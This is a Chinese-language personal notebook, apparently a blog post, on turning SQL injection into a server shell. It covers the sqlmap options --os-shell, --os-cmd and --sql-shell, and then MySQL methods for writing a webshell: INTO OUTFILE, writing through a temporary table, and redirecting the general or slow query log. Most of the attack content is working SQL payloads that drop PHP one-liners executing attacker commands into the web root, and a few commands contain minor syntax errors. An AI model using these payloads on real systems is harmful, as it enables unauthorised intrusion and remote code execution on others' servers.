发篇库存,归档整理一下前朝老笔记

SQLMap里getshell的几个参数

–os-shell

这个参数对于MySQL来说其实就是利用into outfile写入一个webshell,于是需要有足够的写入权限,已知绝对路径的前提条件,对于MSSQL来说,是通过xp_cmdshell等组件直接执行的系统命令,二者是有区别的,前者使用webshell做了一个跳板,后者是直接执行命令的。如果mysql也想实现直接执行系统命令的效果,则需要借助UDF相关的姿势

参数 内容
前提条件 - 目标存在 SQL 注入漏洞。 - 数据库用户权限足够高,允许执行操作系统命令(如调用 xp_cmdshellsys_exec)。 - 需要知道网站的绝对路径(如 /var/www/html)来上传 WebShell。
原理 SQLMap 通过数据库的命令执行功能(如调用系统命令)获取操作系统级别的控制权限,进而实现文件操作、命令执行等功能。
交互性 提供操作系统命令行的交互式环境,支持连续执行多条系统命令。
执行范围 操作系统级别:执行任何支持的系统命令,如创建文件、下载工具、操作目录等。
适用场景 - 上传 WebShell。 - 下载工具进行进一步渗透。 - 操作系统级别的持久化或权限提升。
示例 - 上传 WebShell 到 /var/www/html/uploads/shell.php。 - 执行命令:ls /var/www/html

–os-cmd

--os-cmd 的实现原理是利用数据库的功能执行操作系统命令,从而实现一次性获取目标系统的执行结果。与 --os-shell 不同,--os-cmd 不会写入 WebShell,也没有交互式环境,适用于快速验证命令执行或获取关键信息的场景。是属于直接执行命令的。于是,它是通过xp_cmdshell或者UDF实现的,不需要知道网站绝对路径写入webshell,只需要有足够高的权限执行命令就行

参数 内容
前提条件 - 目标存在 SQL 注入漏洞。 - 数据库用户权限足够高,允许执行操作系统命令(如调用 xp_cmdshellsys_exec)。
原理 SQLMap 通过数据库执行单次操作系统命令,并将返回结果显示给用户,主要用于快速验证命令执行的成功性。
交互性 无交互性。每次只能执行一条系统命令,不支持连续命令操作。
执行范围 操作系统级别:执行简单的一次性系统命令,例如查看当前用户、列目录、测试网络等。
适用场景 - 测试命令执行是否成功。 - 执行一次性命令获取关键信息(如当前目录、文件列表等)。
示例 - 执行:whoami(查看当前用户)。 - 执行:ls /tmp(列出临时目录文件)。

–sql-shell

--sql-shell 是 SQLMap 提供的一个交互式工具,用于直接与目标数据库进行 SQL 语句交互。与 --os-shell--os-cmd 不同,--sql-shell 的目标是通过 SQL 注入漏洞提供对数据库的操作能力,而不是直接执行操作系统命令。其实就是把用户输入的 SQL 语句封装成了注入语句,并通过 HTTP 请求发送到目标服务

参数 内容
前提条件 - 目标存在 SQL 注入漏洞。 - 数据库账户有读写权限,允许执行 SQL 查询语句。
原理 SQLMap 获取对数据库的完全控制权限,并提供一个 SQL 命令行环境,用户可以直接运行 SQL 查询语句操作数据库。
交互性 提供 SQL 命令行交互环境,支持连续执行多条 SQL 查询语句。
执行范围 数据库级别:包括查询、修改数据表、查看数据库结构、提取敏感信息等。
适用场景 - 查看数据库表结构。 - 获取用户数据和密码哈希。 - 操作数据库权限扩展漏洞。
示例 - 查询:SELECT * FROM users。 - 修改:UPDATE users SET password = 'newhash'

MySQL写shell的几种姿势

into outfile写shell

前提:

联合注入点 或者 堆叠注入点 或者 已经连上数据库

具有数据库root权限、secure_file_priv允许写入、获得了网站绝对路径

secure_file_priv的参数为NULL,表示限制mysql不允许导入导出,如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;没有具体值时,表示不对mysqld 的导入导出做限制。如下图不存在,那么可以直接写shell

image-20250116224436622

这个secure_file_priv变量是可读变量,不能通过SQL语句修改它的值,它只能通过 MySQL 配置文件或启动参数进行更改

通常在以下位置:

  • Linux: /etc/my.cnf/etc/mysql/my.cnf
  • Windows: C:\ProgramData\MySQL\MySQL Server X.Y\my.ini
1
2
[mysqld]
secure_file_priv=/path/to/safe/directory

如果这样配置才代表任意目录都允许写入

1
2
[mysqld]
secure_file_priv=
1
2
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';# 直接连接上数据库执行命令
union SELECT 1,2,3'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; # 或者联合查询注入写入

创建表间接写shell

前提:

堆叠注入点 或者 已经连上数据库

具有数据库root权限、secure_file_priv允许写入、获得了网站绝对路径

执行下面这段代码,可以将webshell内容写入到根目录下的1.php中,也就是如果是在堆叠注入的场景下,假设不方便使用联合查询注入,那么还可以通过这种方式,自己创建一个临时表,来间接利用into outfile写入shell

1
2
3
4
5
6
7
CREATE TABLE test( id text(500) not null);

INSERT INTO test (id) VALUES('webshell内容');

SELECT id FROM test INTO OUTFILE '绝对路径/1.php'

DROP TABLE IF EXISTS test;

image-20250116230414038

全局日志写shell

前提:

堆叠注入点 或者 已经连上数据库

目录有写入权限、获得了绝对路径、高权限运行Mysql且5.0版本以上

1
show variables like '%general%'; # 首先查看全局日志配置是否启用,如果是在关闭状态可以打开它

image-20250116231458835

1
set global general_log = on;# 使用命令打开日志 

权限不够就会失败

image-20250116231544624

image-20250116231704372

将日志地址设置为网站根目录,这一步需要用到绝对路径,我们把它写入到根目录下的1.php中

1
set global general_log_file = '绝对路径//1.php'; #注意这里有些服务器的设置会屏蔽掉一个/ 所以写路径的时候可以多加一个/
1
2
3
4
5
show variables like 'log_output';    # 查看日志输出类型 table或file

set global log_output='table'; # 设置输出类型为 table

set global log_output='file'; # 设置输出类型为file(是FILE类型才能输出)

接下来随便执行一个包含webshell内容的语句即可getshell,比方说

1
select '<?php assert($_POST["admin"]);?>';

Mysql数据库会把我们执行的这个查询语句,当作日志的一部分写到我们指定的日志文件里,这也就意味着我们指定的1.php里存在了一条,也就成功getshell了,这基本上是所有日志getshell通用的思想,以后在redis或者别的地方也是同理的!

image-20250116232003128

慢查询日志写shell

前提:

堆叠注入点 或者 已经连上数据库

目录有写入权限、获得了绝对路径、高权限运行Mysql且5.0版本以上

慢查询日志:只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

1
show global variables like '%long_query_time%';

image-20250118170659518

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。

使用下面这两条命令,设置默认查询时间,再查看slow_query_log的值

1
2
3
set global variables like '%long_query_time%';

show variables like '%slow_query_log%';

执行下面操作,修改slow_query_log的值,在查询语句中写入一句话木马并延时10秒以上(视情况而定,也可也延长更长时间):

执行下列命令,写shell

1
2
3
4
5
set global slow_query_log = "ON";

set global slow_query_log_file ='绝对路径/shell.php';

select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

其实和全局日志写shell差不多,只是在日志记录的情况有区别而已